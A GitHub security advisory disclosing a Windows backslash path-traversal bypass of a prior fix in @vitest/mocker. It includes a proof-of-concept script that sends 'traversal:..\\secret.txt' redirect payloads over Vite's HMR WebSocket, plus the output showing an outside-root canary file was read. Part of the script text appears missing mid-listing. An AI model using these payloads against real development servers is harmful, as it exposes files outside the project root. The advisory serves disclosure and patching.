GitHub Advisoryadvisory · npm

GHSA-xp26-3454-mjgp Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

MEDIUM Published 2026-10-21 Modified 2026-10-21 Official page ↗
Aliases
CVE-2026-112950
Ecosystem
npm
Packages
@vitest/mocker
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-22
Reviewed
2026-10-21

Affected packages

• npm @vitest/mocker: >= 4.1.11, < 4.1.12 → fixed in 4.1.12 • npm @vitest/mocker: >= 5.0.0-rc.2, < 5.0.3 → fixed in 5.0.3

Description

Summary The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname. The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root. I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines: • `@vitest/[email protected]` • `@vitest/[email protected]` The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior. Patches Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it. Relationship to GHSA-82fw-gwwq-j7x9 This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted. The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore: • `4.1.11` • `>=5.0.0-rc.2, { const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr') const timer = setTimeout(() => reject(new Error('registration timeout')), 5000) socket.on('message', (raw) => { let message try { message = JSON.parse(raw.toString()) } catch { return } if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') { clearTimeout(timer) socket.close() resolve() } }) socket.on('open', () => socket.send(JSON.stringify({ type: 'custom', event: 'vitest:interceptor:register', data: { type: 'redirect', raw: '', id, url: id, redirect }, }))) socket.on('error', reject) }) } try { await register('/control', 'traversal:../secret.txt') const controlResponse = await fetch(new URL('/control', baseUrl)) const controlBody = await controlResponse.text() await register('/bypass', 'traversal:..\\secret.txt') const bypassResponse = await fetch(new URL('/bypass', baseUrl)) const bypassBody = await bypassResponse.text() const result = { platform: process.platform, root, outsideFile: secret, slashTraversalStatus: controlResponse.status, slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), backslashTraversalStatus: bypassResponse.status, backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null, expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1', } console.log(JSON.stringify(result, null, 2)) const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked ? !result.backslashTraversalReturnedOutsideCanary : result.backslashTraversalReturnedOutsideCanary if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1 } finally { await server.close() } ``` Observed with `@vitest/[email protected]`: ```json { "platform": "win32", "slashTraversalStatus": 404, "slashTraversalRejected": true, "backslashTraversalStatus": 200, "backslashTraversalReturnedOutsideCanary": true, "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY", "expectedBackslashTraversalBlocked": false } ``` The same result was observed with `@vitest/[email protected]`. This includes two useful controls: 1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active. 2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

Related

Alias · CVE (1)

  • CVE-2026-112950 Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References